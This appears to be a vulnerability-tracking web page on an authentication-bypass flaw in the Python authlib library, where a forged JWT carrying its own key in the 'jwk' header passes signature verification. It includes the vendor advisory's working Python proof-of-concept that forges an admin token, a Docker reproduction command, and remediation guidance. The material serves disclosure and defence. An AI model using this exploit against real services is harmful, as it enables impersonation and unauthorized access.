Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious JWT with attacker's public key in jwk header
-
DeliverySign token with attacker's private key
-
ExploitSend token to server with key=None parameter
-
ExecutionServer extracts key from jwk header
-
PersistToken passes signature verification
-
ImpactBypass authentication
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Signature verification
|
| Exploitation Conditions | authlib JWS deserialization function called with key=None parameter; jwk header field processing enabled in JWS implementation; no explicit key pinning or jwk header validation configured. |
| Impact | This vulnerability presents an extreme real-world risk with a CVSS score of 9.1 indicating network-exploitable, low-complexity attacks requiring no privileges or user interaction. The availability of a functional proof-of-concept and Docker-based reproduction significantly increases exploitation likelihood. While no EPSS score or KEV listing is mentioned in the intelligence, the combination of remote exploitability (AV:N), low attack complexity (AC:L), no authentication requirement (PR:N), and high impact on both confidentiality and integrity (C:H/I:H) makes this a critical priority. The vulnerability is particularly dangerous because it affects a common authentication pattern where JWKS key resolvers return None for unknown key IDs, making many real-world deployments silently vulnerable. |
| Exploit ScenarioDerived | An attacker generates their own RSA keypair, creates a JWT with administrative privileges, signs it with their private key, and embeds the corresponding public key in the JWT's 'jwk' header field. When submitting this token with an unknown 'kid' value to a vulnerable application using JWKS-based authentication, the key resolver returns None, causing authlib to fall back to the attacker's embedded key for verification, successfully validating the forged token. The provided proof-of-concept demonstrates this attack requires only basic cryptographic knowledge and standard tools. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 16, 2026
A critical authentication bypass vulnerability in authlib's JWT signature verification allows attackers to forge arbitrary tokens by injecting their own cryptographic keys through the JWT header. The flaw affects all versions of authlib prior to 1.6.9 when applications use key resolution callbacks that can return None (common in JWKS-based authentication flows). A working proof-of-concept exists demonstrating complete authentication bypass, enabling attackers to impersonate any user or assume administrative privileges without valid credentials.
RemediationAI
Upgrade authlib to version 1.6.9 or later immediately, as confirmed by the vendor patch available at commit a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681. For applications that cannot upgrade immediately, ensure all JWT verification functions explicitly handle None returns from key resolvers by raising exceptions rather than allowing fallthrough behavior. Review all JWT validation code to ensure keys are never extracted from untrusted JWT headers and always originate from trusted application context. The vendor's security advisory at https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5 provides additional guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The authlib library (CPE: pkg:pip/authlib) is a Python implementation of OAuth and JWT standards used for authentication and authorization. The vulnerability stems from improper trust boundary validation (CWE-347) in the JWS deserialization process, specifically in the _prepare_algorithm_key() method. When no verification key is provided or when a key resolver returns None, the library falls back to using the 'jwk' field from the attacker-controlled JWT header as the verification key, violating RFC 7515 sections 4.1.3 and 5.2 which explicitly forbid trusting embedded keys for verification.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/authlib/authlib).
CVSS VectorVendor: https://github.com/authlib/authlib
Lifecycle Timeline
2DescriptionCVE.org
Description
Summary
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid - bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py Vulnerable method: JsonWebSignature._prepare_algorithm_key() Lines: 272-273
elif key is None and "jwk" in header:
key = header["jwk"]
# ← attacker-controlled key used for verificationWhen key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value - which is fully attacker-controlled - and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the
jwkheader parameter is "NOT RECOMMENDED" because keys
embedded by the token submitter cannot be trusted as a verification anchor.
- §5.2 (Validation Algorithm) specifies the verification key MUST come from the *application
context*, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid)
# returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None - the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
{"role": "admin"}). - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
jwkheader field. - Attacker uses an unknown
kidto cause the key resolver to returnNone. - The library uses
header["jwk"]for verification - signature passes. - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptographyExploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None - token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)
# {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"
# PASSESExpected output:
{'sub': 'attacker', 'role': 'admin'}Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.pyImpact
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
key=Noneis passed directly, or- a key resolver callable returns
Nonefor unknown/rotatedkidvalues (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one - no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.
Minimal fix - remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]Recommended safe replacement - raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")Executive ViewAI
A critical authentication bypass vulnerability in authlib allows attackers to forge valid JWT tokens without knowing the legitimate signing key, potentially gaining unauthorized access to any system relying on this library for token validation. Organizations using authlib for API authentication or session management face immediate risk of account takeover and data breach if not patched.
Apply vendor patch. If immediate patching is not feasible: (1) Implement mandatory key pinning to prevent jwk header injection; (2) Deploy WAF rules to reject JWS requests containing jwk headers; (3) Disable JWS processing with key=None parameter in configuration; (4) Implement strict JWT validation requiring pre-configured signing keys only; (5) Enable enhanced logging and monitoring of authentication events for anomaly detection.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same technique Deserialization
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Python 3 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 16.0 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
EUVD-2026-12478
GHSA-wvwj-cvrp-7pv5
NVD
CVE.org
EPSS
VulDB
Exploit-DB